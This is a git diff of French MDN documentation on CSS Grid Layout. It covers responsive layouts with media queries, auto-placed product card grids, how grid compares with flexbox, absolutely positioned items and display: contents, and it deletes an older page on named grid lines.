Le panneau dédié à la publicité est affiché sous la barre latérale et commence à partir de la quatrième ligne. On a ensuite le contenu et le pied de page qui commencent à partir de la quatrième colonne et s'étendent sur 9 pistes pour occuper le reste de la grille.

+ +
@media (min-width: 500px) {
+  .side {
+    grid-column: col-start / span 3;
+    grid-row: 3;
+  }
+  .ad {
+    grid-column: col-start / span 3;
+    grid-row: 4;
+  }
+  .content, .main-footer {
+    grid-column: col-start 4 / span 9;
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

Voyons alors la disposition sur trois colonnes. Pour ce plan, l'en-tête s'étale aussi sur toute la largeur de la grille, la barre de navigation devient verticale, à côté on a le contenu puis la barre latérale. Le pied de page s'étale, lui aussi, sur toute la largeur du conteneur.

+ +
@media (min-width: 700px) {
+  .main-nav {
+    grid-column: col-start / span 2;
+    grid-row: 2 / 4;
+  }
+  .content {
+    grid-column: col-start 3 / span 8;
+    grid-row: 2 / 4;
+  }
+  .side {
+    grid-column: col-start 11 / span 2;
+    grid-row: 2;
+  }
+  .ad {
+    grid-column: col-start 11 / span 2;
+    grid-row: 3;
+  }
+  .main-footer {
+    grid-column: col-start / span 12;
+  }
+  nav ul {
+    flex-direction: column;
+  }
+}
+
+ +

{{EmbedLiveSample('layout_3', '800', '430')}}

+
+ +

On peut à nouveau profiter de l'inspecteur de grille pour voir comment se compose effectivement notre disposition :

+ +

Showing the layout with grid tracks highlighted by the grid inspector.

+ +

On notera qu'il n'a pas été nécessaire de redéfinir explicitement la position de chaque élément pour chaque résolution. On a pu hériter des emplacements des résolutions précédentes. On gagne donc à travailler en considérant les résolutions mobiles en premier lieu. On tire également parti du placement automatique géré par la grille avec l'ordre, logique, des éléments du documents. Dans le dernier exemple, nous allons voir comment le placement automatique sur la grille peut aider à positionner des objets..

+ +

Une liste produit utilisant le placement automatique

+ +

De nombreuses dispositions sont essentiellement composée de cartes ou tuiles : des listes produit, des galeries d'image, etc. Avec une grille, on peut facilement créer ce genre de liste de façon adaptative, sans avoir à ajouter de requêtes de média. Dans l'exemple qui suit, nous allons combiner les grilles CSS et les boîtes flexibles afin d'obtenir une liste de produits.

+ +

Le document utilisé contient une liste d'objets non ordonnée. Pour chaque produit, on a un titre, un texte dont la taille n'est pas fixe et un lien pour effectuer une action.

+ +
+
<ul class="listing">
+  <li>
+    <h2>Produit n°1</h2>
+    <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
+    <div class="cta"><a href="">Faire quelque chose !</a></div>
+  </li>
+   <li>
+     <h2>Produit n°2</h2>
+     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
+     <div class="cta"><a href="">Faire quelque chose !</a></div>
+   </li>
+   <li class="wide">
+     <h2>Produit n°3</h2>
+     <div class="body"><p>Le descriptif du produit sera écrit ici.</p>
+     <p>Ce produit possède un descriptif beaucoup plus long.</p>
+     <p>Vraiment plus long</p>
+     <p>Peut-être faudrait-il le gérer différemment ?</p></div>
+     <div class="cta"><a href="">Faire quelque chose !</a></div>
+    </li>
+    <li>
+     <h2>Produit n°4</h2>
+     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
+     <div class="cta"><a href="">Faire quelque chose !</a></div>
+    </li>
+     <li>
+     <h2>Produit n°5</h2>
+     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
+      <div class="cta"><a href="">Faire quelque chose !</a></div>
+    </li>
+</ul>
+
+ + + +

Nous allons créer une grille avec un nombre de colonnes adaptable et chacune des colonnes sera flexible. On indique qu'une colonne doit avoir une largeur minimale de 200 pixels et que l'espace restant doit être réparti équitablement (toutes les colonnes auront donc la même largeur). Pour obtenir ce résultat, on utilise la fonction minmax() avec la notation repeat pour la propriété grid-template-columns qui permet de dimensionner les pistes.

+ +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+
+ +

Dès qu'on ajoute cette règle, les objets s'organisent sur la grille. Si on chance la taille de la fenêtre, le nombre de colonne s'adaptera, sans qu'il soit nécessaire d'ajouter des requêtes de média ou de définir la grille.

+ +

On peut ensuite améliorer chacune des boîtes en utilisant les boîtes flexibles. Pour les éléments de la liste ({{HTMLElement("li")}}), on utilise display: flex et flex-direction avec la valeur column. On ajoute une marge automatique pour la classe .cta afin que cette barre soit placée en bas de la boîte.

+ +
.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+
+ +

Voici un exemple où, d'après moi, l'utilisation des boîtes flexibles est pertinente par rapport à une autre grille : on ne fait qu'aligner ou organiser des objets sur un seul axe, ce qui est très bien géré avec une boîte flexible.

+ +

{{EmbedLiveSample('layout_4', '800', '900')}}

+
+ +

Le résultat est plutôt abouti mais on a parfois des cartes qui ont beaucoup plus de contenu. Si on veut que celles-ci soient plus large (pour éviter qu'elles soient trop hautes), on peut les étaler sur deux pistes. Pour cela, on a utilisé la classe wide sur l'objet avec plus de contenu et on ajoute une règle {{cssxref("grid-column-end")}} avec la valeur span 2. Désormais, lorsque la grille devra placer un élément de ce type, elle lui affectera deux colonnes. Cela signifie aussi que pour certaines tailles d'affichage, on aura un espace dans la grille lorsqu'il n'y aura pas suffisamment d'espace pour placer un objet sur deux colonnes :

+ +

The layout has gaps as there is not space to layout a two track item.

+ +

Si on veut éviter ces trous, on peut utiliser la règle {{cssxref("grid-auto-flow")}}: dense sur le conteneur de la grille. Attention à utiliser cette valeur car l'ordre logique n'est plus respecté. Aussi, il ne faut utiliser cette valeur uniquement lorsqu'il n'y a pas d'ordre pour les objets. Avec cette valeur, la navigation au clavier (tab order) continue de suivre l'ordre des éléments du document et pas l'ordre d'affichage des objets sur la grille.

+ +
+ + +
.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+
+ +

{{EmbedLiveSample('layout_5', '800', '900')}}

+ +

Cette technique de placement automatiquement peut s'avérer extrêmement utile si vous devez gérer du contenu produit par un CMS pour un ensemble d'objets qui se ressemblent et auxquels vous ajoutez une classe lors de la génération en HTML.

+
+ +

Aller plus loin

+ +

La meilleure façon d'apprendre à utiliser les grilles CSS est de continuer à construire des exemples comme ceux que nous avons vus ici. Prenez un cas d'utilisation que vous auriez construit avec un framework ou avec un autre mode de disposition et voyez si vous pouvez le construire à l'aide d'une grille. N'oubliez pas de trouver des exemples de disposition encore impossibles à construire avec les méthodes actuelles : prenez différentes sources d'inspiration comme les magazines et affiches. Le modèle de grille offre un nouvel éventail de possibilités et il serait dommage de rester sur nos acquis.

+ +
    +
  • Vous pouvez consulter le Layout Labs de Jen Simmons (en anglais), elle a créé différentes disposition en se basant sur une variété d'exemples.
    • +
  • Pour d'autres exemples, vous pouvez vous référer à Grid by Example qui contient des exemples pour des grilles plus petites, des fragments d'interface utilisateur ou des dispositions pour des pages entières.
    • +
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/fr/web/css/css_grid_layout/relationship_of_grid_layout/index.html new file mode 100644 index 0000000000..9f31864e55 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/relationship_of_grid_layout/index.html @@ -0,0 +1,588 @@ +--- +title: Le modèle de grille et les autres modèles de disposition +slug: Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition +tags: + - CSS + - CSS Grids + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

+ +

Le mode de disposition en grille a été conçu afin de pouvoir fonctionner avec les autres composantes de CSS pour construire un système complet de disposition. Dans ce guide, nous expliquerons comment intégrer une grille CSS parmi d'autres techniques que vous pourriez déjà utiliser.

+ +

Les grilles et les boîtes flexibles (flexbox)

+ +

La différence fondamentale, entre les grilles et les boîtes flexibles CSS, est que les boîtes flexibles permettent d'organiser du contenu sur une dimension (sur une ligne ou sur une colonne). Les grilles ont été conçues pour une organisation bi-dimensionnelle. Les deux spécifications partagent cependant quelques points communs et si vous savez utiliser les boîtes flexibles, vous retrouverez quelques concepts qui vous aideront à appréhender les grilles CSS.

+ +

Disposition sur une dimension ou sur deux dimensions

+ +

Voyons un exemple simple pour illustrer la différence entre une disposition sur un seul axe et une disposition sur deux axes.

+ +

Dans le premier exemple, on utilise un boîte flexible pour organiser un ensemble de boîte. Le conteneur contient 5 objets fils et on utilise des propriétés afin qu'ils puissent être agrandis/rétrécis avec une base (flex-basis) de 150 pixels.

+ +

On utilise aussi la propriété {{cssxref("flex-wrap")}} avec la valeur wrap, afin de créer une nouvelle ligne si le conteneur devient trop étroit pour conserver flex-basis.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  width: 500px;
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper > div {
+  flex: 1 1 150px;
+}
+
+
+ +

{{EmbedLiveSample('onedtwod', '500', '230')}}

+ +

On peut voir ici que deux objets sont passés sur une nouvelle ligne. Ces objets partagent l'espace disponible sur cette nouvelle ligne et ne s'alignent pas par rapport aux objets de la ligne au-dessus. En effet, lorsque des éléments flexibles passent sur une nouvelle ligne (ou colonne), celle-ci forme un nouveau conteneur et l'espace de ce conteneur est distribué entre les objets.

+ +

On se demande alors comment faire pour aligner ces éléments… C'est là qu'intervient la disposition en deux dimensions, pour contrôler l'alignement des lignes et des colonnes : voici la grille.

+ +

La même disposition avec une grille CSS

+ +

Dans cet exemple, on crée la même disposition en utilisant la grille CSS. Ici, on a trois pistes 1fr. Il n'est pas nécessaire de paramétrer quoi que ce soit sur les objets, ils se disposeront eux-mêmes dans chaque cellule formée par la grille. On peut alors voir que les objets restent dans une grille stricte, avec les lignes et les colonnes qui sont alignées. Avec cinq éléments, on a donc un espace restant à la fin de la deuxième ligne.

+ +
+ + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+  <div>Quatre</div>
+  <div>Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

{{EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170')}}

+
+ +

Lorsqu'il s'agit de choisir entre les grilles ou les boîtes flexibles, vous pouvez vous poser les questions suivantes :

+ +
    +
  • Ai-je uniquement besoin de contrôler la disposition selon des colonnes ou selon des lignes ? Si oui, mieux vaudra utiliser des boîtes flexibles.
    • +
  • Ai-je besoin de contrôler la disposition selon des colonnes et selon des lignes ? Si oui, mieux vaudra utiliser une grille CSS.
    • +
+ +

Organiser l'espace ou organiser le contenu ?

+ +

En plus de la distinction sur le nombre de dimensions, on peut prendre un autre angle de vue pour choisir entre les boîtes flexibles et les grilles. Les boîtes flexibles permettent de répartir l'espace de façon équitable autour des éléments d'un conteneur. C'est la taille du contenu qui détermine l'espace occupé par chacun des éléments. Si les objets passent sur une nouvelle ligne, leur espacement sera calculé en fonction de leurs tailles et de l'espace disponible sur cette ligne.

+ +

En revanche, les grilles organisent le contenu dans l'espace. Lorsqu'on utilise les grilles CSS, on crée un « plan » et on place les éléments sur ce plan (ou on indique un placement automatique, strict, sur cette grille). Il est possible de créer des pistes (tracks) qui réagissent à la taille du contenu mais cela modifierait alors l'ensemble de la piste.

+ +

Si vous utilisez les boîtes flexibles et souhaitez bloquer certains des aspects autour de la flexibilité, vous aurez probablement besoin d'une grille CSS. Par exemple, si vous définissez un objet flexible avec un pourcentage en largeur pour aligner l'objet avec les éléments du dessus, une grille pourrait être plus adaptée.

+ +

L'alignement des boîtes

+ +

Une des fonctionnalités les plus attendues pour les boîtes flexibles était celle qui permettait enfin de contrôler l'alignement correctement. On pouvait simplement centrer une boîte sur une page. Les éléments flexibles pouvaient être étirés en hauteur dans leurs conteneurs et on pouvait donc obtenir des colonnes avec des hauteurs égales. Il était désormais possible d'éviter des contournements pour obtenir ce résultat.

+ +

Les propriétés d'alignement ont été ajoutées à la spécification pour les boîtes flexibles dans une nouvelle spécification intitulée Box Alignment Level 3. Cela signifie qu'elles peuvent être utilisées dans d'autres modules, y compris dans les grilles CSS. À l'avenir, elles pourront éventuellement s'appliquer aux autres méthodes de disposition.

+ +

Dans un autre article de cette série, nous verrons comment utiliser l'alignement des boîtes dans une disposition en grille. Pour le moment, voici un exemple simple qui permet de comparer les boîtes flexibles et les grilles.

+ +

Dans le premier exemple, on utilise les boîtes flexibles avec un conteneur qui dispose de trois objets. La propriété {{cssxref("min-height")}} est définie et paramètre la hauteur du conteneur flexible. {{cssxref("align-items")}} vaut flex-end pour le conteneur flexible et les objets s'empileront donc jusqu'à l'extrémité du conteneur flexible. On utilise également la propriété {{cssxref("align-self")}} sur box1 afin de surcharger la valeur par défaut et d'étirer jusqu'à la hauteur du conteneur et jusqu'à box2 afin que box1 soit alignée avec le début du conteneur flexible.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+</div>
+
+ +
.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+
+ +

{{EmbedLiveSample('Box_alignment', '300', '230')}}

+ +

L'alignement sur les grilles CSS

+ +

Dans cet exemple, on utilise une grille pour créer la même disposition. Cette fois on utilise les propriétés d'alignement des boîtes. On aligne donc par rapport à start et end plutôt que par rapport à flex-start et flex-end. Dans le cas d'une disposition en grille, on aligne les éléments à l'intérieur de leur zone de grille. Dans ce cas, il s'agit d'une seule cellule mais on pourrait très bien construire une zone composée de plusieurs cellules.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+
+ +

{{EmbedLiveSample('Alignment_in_CSS_Grids', '200', '310')}}

+ +

L'unité fr et flex-basis

+ +

On a vu avant l'unité fr qui permet d'affecter aux pistes de la grille une portion de l'espace disponible dans le conteneur. L'unité fr, lorsqu'elle est combinée avec la fonction {{cssxref("minmax()", "minmax()")}} permet d'obtenir un comportement proche des propriétés flex utilisées pour les boîtes flexibles, tout en permettant de créer une disposition sur deux dimensions.

+ +

Si on revient sur l'exemple illustrant la différence entre une disposition à une dimension et une disposition à deux dimensions. On voit qu'il y a une différence sur la façon dont les deux dispositions fonctionnent en mode responsive (lorsque les dimensions de la zone d'affichage varient). Avec la disposition flexible, si on redimensionne la disposition ajustera le nombre d'éléments sur chaque ligne en fonction de l'espace disponible. S'il y a beaucoup d'espace, les cinq éléments pourront tenir sur une seule ligne et si l'espace est réduit, on pourra avoir jusqu'à un seul élément par ligne.

+ +

En revanche, avec la grille, on a toujours trois pistes qui forment trois colonnes. Les pistes s'élargiront ou se rétrécieront mais il y en aura toujours trois car c'est le nombre de pistes déclaré à la définition de la grille.

+ +

Des pistes qui se remplissent automatiquement

+ +

On peut créer un effet semblable aux boîtes flexibles tout en gardant l'arrangement en lignes et colonnes grâce à la notation repeat et aux propriétés auto-fill et auto-fit.

+ +

Dans l'exemple qui suit, on utilise le mot-clé auto-fill à la place d'un entier dans la fonction repeat et on définit la taille d'une piste à 200 pixels. Cela signifie que la grille créera autant de pistes de 200 pixels en colonnes qu'il est possible d'en placer dans le conteneur.

+ + + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+
+ +

{{EmbedLiveSample('Auto-filling_grid_tracks', '500', '170')}}

+ +

Avoir un nombre de pistes flexible

+ +

L'exemple précédent ne se comporte pas comme celui avec les boîtes flexibles. Dans l'exemple avec les boîtes flexibles, les objets qui sont plus larges que la base de 200 pixels avant de passer à la ligne. On peut obtenir le même effet sur une grille en combinant le mot-clé auto-fill et la fonction {{cssxref("minmax()", "minmax()")}}.

+ +

Dans l'exemple qui suit, on crée des pistes qui sont remplies automatiquement avec minmax. On souhaite que les pistes mesurent au moins 200 pixels, avec un maximum de 1fr. Lorsque le navigateur a calculé la quantité de colonnes qui tiendraient dans le conteneur (en tenant compte des espaces), il utilisera le maximum 1fr afin de répartir l'espace restant entre les objets.

+ + + +
<div class="wrapper">
+  <div>Un</div>
+  <div>Deux</div>
+  <div>Trois</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+
+ +

{{EmbedLiveSample('A_flexible_number_of_tracks', '500', '170')}}

+ +

On peut désormais créer une grille qui dispose d'un nombre flexible de pistes, elles-mêmes flexibles tout en ayant des éléments qui sont disposés sur la grille par rapport à des lignes et à des colonnes.

+ +

Les grilles et les éléments positionnés de façon absolue

+ +

La grille peut interagir avec les éléments positionnés de façon absolue. Cela peut s'avérer utile si on souhaite positionner un élément dans une grille ou dans une zone donnée de la grille. La spécification définit le comportement lorsqu'une grille est un bloc englobant et que la grille est le parent d'un élément positionné de façon absolue.

+ +

Avoir une grille comme bloc englobant

+ +

Pour qu'une grille soit un bloc englobant, il faut utiliser la propriété position avec la valeur relative (comme on ferait pour un bloc classique). Une fois que c'est fait, si on utilise position: absolute sur un objet de la grille, son bloc englobant sera la grille. Si l'élément a une position donnée sur la grille, le conteneur sera la zone de la grille sur laquelle il est placé.

+ +

Dans l'exemple ci-après, on a un conteneur avec quatre enfants. Le troisième élément est positionné en absolu et est placé sur la grille. La grille, le conteneur, a position: relative et devient donc le contexte de positionnement pour cet objet.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">
+    Ce bloc est positionné de façon absolue. Dans cet exemple
+    la grille est le bloc englobant et les valeurs de décalage
+    pour la position sont calculées depuis les bords extérieurs
+    de la zone dans laquelle a été placé l'élément.
+  </div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+  position: relative;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: absolute;
+  top: 40px;
+  left: 40px;
+}
+
+ +

{{EmbedLiveSample('A_grid_container_as_containing_block', '500', '330')}}

+ +

On peut voir que l'élément prend la zone de la grille entre les lignes 2 et 4, après la ligne 1. Ensuite, il est décalé dans cette zone grâce aux propriétés top et left. Toutefois, il a été retiré du flux, comme d'habitude pour les éléments positionnés en absolu et les règles de placement automatique placent des objets dans la même zone. L'objet n'entraîne pas non plus la création d'une ligne supplémentaire sur la ligne 3.

+ +

Si on retire position: absolute des règles sur .box3, on peut voir le résultat qu'on aurait obtenu sans ce positionnement absolu.

+ +

Utiliser une grille comme parent

+ +

Si l'élément positionné de façon absolue est contenue dans une grille mais que celle-ci ne crée pas de nouveau contexte de positionnement, l'élément sera retiré du flux comme dans l'exemple précédent. Les contextes de positionnement sont créés comme avec les autres méthodes de disposition. Dans l'exemple, si on retire position: relative dans le code précédent, le contexte de positionnement est fourni par la zone d'affichage (le viewport) :

+ +

Image of grid container as parent

+ +

Là encore, l'élément ne participe plus à la disposition de la grille pour le dimensionnement ou pour le placement des autres éléments.

+ +

Utiliser une zone de grille comme parent

+ +

Si l'élément positionné de façon absolu est imbriqué dans une zone de la grille, on peut créer un contexte de positionnement pour cette zone. Dans l'exemple qui suit, on utilise la même grille qu'avant sauf que l'élément est imbriqué dans la zone .box3 de la grille.

+ +

On indique que .box3 a une position relative puis on positionne l'élément avec des propriétés de décalage. Dans ce cas, le contexte de positionnement est la zone de la grille.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois
+    <div class="abspos">
+      Ce bloc est positionné de façon absolue. Dans cet exemple
+      la zone de la grille est le bloc englobant et le positionnement
+      est calculé à partir des bords de la zone de la grille.
+    </div>
+  </div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+
+ +

{{EmbedLiveSample('With_a_grid_area_as_the_parent', '500', '420')}}

+ +

Utiliser une grille et display: contents

+ +

Une autre combinaison notable, en termes de disposition, peut être l'utilisation de display: contents avec les grilles CSS. La valeur contents de la propriété {{cssxref("display")}} est une nouvelle valeur, décrite comme suit dans la spécification Display :

+ +
+

L'élément même ne génère aucune boîte mais ses éléments fils, ainsi que les pseudo-éléments, génèrent des boîtes normales. Afin de générer les boîtes et la disposition, l'élément doit être traité comme s'il avait été remplacé par ses éléments fils et ses pseudo-éléments dans l'arbre du document.

+
+ +

Si on utilise display: contents sur un élément, la boîte qu'il aurait normalement créé disparaîtra et les boîtes des éléments qui sont ses enfants apparaîtront comme si elles avaient grimpé d'un niveau. Cela signifie que les éléments fils d'un élément d'une grille peuvent, à leur tour, devenir des éléments de cette grille. Un peu perdu-e ? Voici un exemple. Dans le code qui suit, on a une grille dont le premier élément s'étend sur les trois pistes. Cet élément contient trois éléments imbriqués. Ces derniers n'étant pas des enfants directs de la grille, ils ne s'inscrivent pas dans la disposition en grille et sont affichés avec la disposition classique.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Deux</div>
+  <div class="box box3">Trois</div>
+  <div class="box box4">Quatre</div>
+  <div class="box box5">Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+
+ +

{{EmbedLiveSample('Display_Contents_Before', '400', '420')}}

+
+ +

Si on ajoute display: contents aux règles qui ciblent box1, la boîte de cet élément disparaîtra et ses sous-éléments deviendront alors des éléments de la grille qui se placeront selon les règles de placement automatiques pour la grille.

+ +
+ + +
<div class="wrapper">
+  <div class="box box1">
+    <div class="nested">a</div>
+    <div class="nested">b</div>
+    <div class="nested">c</div>
+  </div>
+  <div class="box box2">Deux</div>
+  <div class="box box3">Trois</div>
+  <div class="box box4">Quatre</div>
+  <div class="box box5">Cinq</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+
+ +

{{EmbedLiveSample('Display_Contents_After', '400', '330')}}

+
+ +

Cela permet que des éléments imbriqués agissent comme s'ils faisaient partie de la grille. C'est également une méthode de contournement pour certains problèmes qui seront résolus par les « sous-grilles » (subgrids) lorsqu'elles seront implémentées. Vous pouvez également utiliser display: contents de façon similaire avec les boîtes flexibles afin que les éléments imbriqués deviennent des éléments flexibles.

+ +

Comme on a pu le voir dans cet article, la disposition avec les grilles CSS n'est qu'un outil parmi d'autres. Il ne faut pas hésiter à combiner différentes méthodes de disposition afin d'obtenir les résultats souhaités.

+ +

Voir aussi

+ + + +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nomm\303\251es_sur_une_grille/index.html" "b/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nomm\303\251es_sur_une_grille/index.html" deleted file mode 100644 index d8d7e5cf83..0000000000 --- "a/files/fr/web/css/css_grid_layout/utiliser_des_lignes_nomm\303\251es_sur_une_grille/index.html" +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: Utiliser des lignes nommées sur une grille -slug: Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide -translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

- -

Dans les articles précédents, on a vu comment placer des objets sur les lignes définies par les pistes de la grilles. On a également vu comment placer des objets sur des zones nommées. Dans ce guide, nous allons combiner ces deux concepts et apprendre à placer les objets sur des lignes avec des noms. Le nommage des lignes peut s'avérer très utile mais un aspect encore plus intéressant consiste à combiner les noms et les tailles de pistes. Cela sera plus clair lorsque nous aurons vu les différents exemples.

- -

Nommer des lignes lorsqu'on définit une grille

- -

Lorsqu'on définit une grille avec grid-template-rows et grid-template-columns, on peut donner des noms aux lignes (toutes ou seulement quelques unes). Pour illustrer ce point, nous allons reprendre la disposition utilisée dans l'article sur le placement sur les lignes. Cette fois, nous allons utiliser des lignes avec des noms.

- -
- - -

Lorsqu'on définit la grille, on nomme les lignes entre crochets. Ces noms peuvent être n'importe quelle valeur. Ici, on définit un nom pour le début et la fin du conteneur, pour les lignes et pour les colonnes. On définit les blocs du centres (ici content-start et content-end), à la fois pour les lignes et pour les colonnes. Il n'est pas nécessaire de nommer toutes les lignes de la grille, on peut très bien uniquement nommer celles qui sont importantes.

- -
.wrapper {
- display: grid;
- grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
-  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
-}
-
- -

Une fois que les lignes sont nommées, on peut utiliser ce nom plutôt que le numéro de ligne afin de placer les éléments.

- -
.box1 {
-  grid-column-start: main-start;
-  grid-row-start: main-start;
-  grid-row-end: main-end;
-}
-.box2 {
-  grid-column-start: content-end;
-  grid-row-start: main-start;
-  grid-row-end: content-end;
-}
-.box3 {
-  grid-column-start: content-start;
-  grid-row-start: main-start;
-}
-.box4 {
-  grid-column-start: content-start;
-  grid-column-end: main-end;
-  grid-row-start: content-end;
-}
-
- -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-</div>
-
- -

{{EmbedLiveSample('example_named_lines', '500', '330')}}

-
- -

Tout le reste continue de fonctionner de la même façon. Vous pouvez aussi utiliser des noms et des numéros. Le nommage des lignes est utile lorsqu'on souhaite créer une disposition responsive où on redéfinit la grille plutôt que d'avoir à redéfinir la position du contenu en changeant les numéros de lignes dans les media queries.

- -

Donner plusieurs noms à une ligne

- -

On peut donner plusieurs noms à une ligne (par exemple une ligne qui décrirait la fin de la barre latérale et le début du contenu principal). Pour cela, à l'intérieur des crochets, on déclare les différents noms, séparés par un espace : [sidebar-end main-start]. On peut ensuite désigner la ligne par l'un de ces noms.

- -

Définir des zones de grilles implicites à l'aide de lignes nommées

- -

Plus haut, nous avons vu qu'il était possible de donner n'importe quel nom à une ligne. D'un point de vue technique, ce nom est un identifiant personnalisé (ou custom ident), c'est-à-dire un nom défini par l'auteur de la feuille de style. Pour être plus précis, ce nom ne doit pas reprendre les mots-clés qui apparaissent dans la spécification et ne doit pas être source de confusion (on évitera ainsi d'utiliser span). Les identifiants ne sont pas mis entre quotes.

- -

Bien qu'on puisse choisir n'importe quel nom (avec les contraintes qu'on vient d'énoncer), si on utilise les suffixes -start et -end pour désigner les lignes qui entourent une zone (comme dans l'exemple ci-avant), la grille créera automatiquement une zone nommée avec le nom utilisé devant ces suffixes. Si on reprend l'exemple précédent où on utilise content-start et content-end pour les lignes et pour les colonnes, cela signifie qu'on a, implicitement, une zone de grille intitulée content qu'on peut également manipuler

- -
- - -

On utilise les mêmes définitions qu'avant mais cette fois, nous allons placer un objet dans la zone intitulée content.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
-  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
-}
-.thing {
-  grid-area: content;
-}
-
- -
<div class="wrapper">
-  <div class="thing">
-    Je suis dans une zone nommée content.
-  </div>
-</div>
-
- -

{{EmbedLiveSample('implicit_areas_from_lines', '500', '330')}}

-
- -

Il n'est pas nécessaire de définir l'emplacement de cette zone avec grid-template-areas car les lignes suffisent à créer la zone et à la placer.

- -

